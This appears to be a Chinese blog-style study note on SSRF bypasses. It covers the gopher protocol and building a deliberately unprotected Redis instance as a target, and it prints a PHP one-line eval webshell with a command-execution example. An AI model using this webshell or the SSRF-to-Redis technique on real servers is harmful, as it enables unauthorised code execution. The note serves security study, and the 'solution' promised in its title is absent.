SSRF漏洞绕过与漏洞解决

一.gopher协议

gopher协议是在www出现之前在Internet上最主要的信息检索工具,也是信息查找系统,将Internet上的文件构成索引,将用户从一端带到另一端。

gopher协议的限制:php版本高于5.3 java的jdk版本小于1.7

gopher协议作用:可以向内网输送文件

gopher协议格式:URL:gopher://\<host>\<port>/\<gopher-path>

二.什么是Redis

redis是一款内存高速缓存的数据库

0.0.0.0:6379 0.0.0.0表示任何ip地址都可以访问 默认开启保护模式 默认没有密码

攻击redis数据库的条件:redis.config配置文件中没有密码或是弱口令,关闭保护模式,#127.0.0.1

Redis搭建:

1.远程下载redis安装包: wget http://download.redis.io/releases/redis-4.0.10.tar.gz

2.下载后解压:tar -zxf redis-4.0.10.tar.gz

3.解压后编译:

cd ./redis-4.0.10 #进入当前文件

sudo make install #下载编译包

sudo make #进行编译

4.建立快捷模式

cd src cp ./redis-server /bin

5.将redis配置文件复制到/etc目录下

cd ../

cp /redis.conf /etc

6.使用命令启动redis

sudo redis-server /etc/redis.conf

7.查看是否运行成功

ps -aux | grep redis

8.配置redis

sudo vim /etc/redis.conf #127.0.0.1改为0.0.0.0 保护模式yes改为no,保存退出

然后ctrl+c退出redis再重启 redis-server /etc/redis.conf

9.使用reids-cli远程连接,即可成功

redis-cli -h ip地址 -p 6379

三.知识扩展

1.在kali上下载好小p并搭建网站

2.一句话mu ma也叫小马,<?php @eval($_REQUEST'cmd'); ?>

cmd内写什么都可以,主要是自己知道

例如:<?php @eval($_REQUEST'ya'); ?>

空白才是正常的

phpinfo可以把很多网站信息展示出来

system('dir'); 可以带出文件信息

3.大马可以让别人服务器变得像自己服务器

四.实践

使用工具,将命令进行编码,因为url会进行解码,所以运用bp进行二次编码,然后将命令放入url中

相关推荐
斌糖雪梨31 分钟前
registerListeners(); 方法详解
网络·网络协议·rpc
Jtti1 小时前
香港服务器CPU不高但用户请求排队的原因有哪些?
运维·服务器·网络
福芯微电子有限公司nfc1 小时前
国产收音芯片 FSV4755:多波段调谐与高集成设计,赋能多种音频终端
网络协议·网络安全·音视频·信息与通信·信号处理
道尔柯南1 小时前
Linux 网络编程:从零掌握 TCP Socket 编程(附 C++ 实战)
linux·网络·tcp/ip
星恒讯工业路由器1 小时前
工业路由器在中小 IoT 场景的选型与适配实践:从标准品到定制化的技术路径
开发语言·网络·物联网·php·工业路由器选型·工业网关odm·链路冗余切换
SHENGWEI胜为1 小时前
NVMe SSD写入速度突然下降?从SLC缓存耗尽到温度降速的排查方法
网络·缓存
0+1111 小时前
Linux --ARP的具体过程与ARP欺骗
linux·服务器·网络
shiyi.十一1 小时前
【CISP教材】第8知识域:物理与网络通信安全
网络·信息安全·cisp
科创致远2 小时前
第一代 e+SOP 盒子配显示器实测:物美价廉的产线可视化方案
大数据·网络·人工智能·信息可视化·计算机外设·制造·精益工程
企业数字化笔记2 小时前
AI视频怎么做超分辨率增强?逐帧处理、画幅控制与音画验收
网络·人工智能·音视频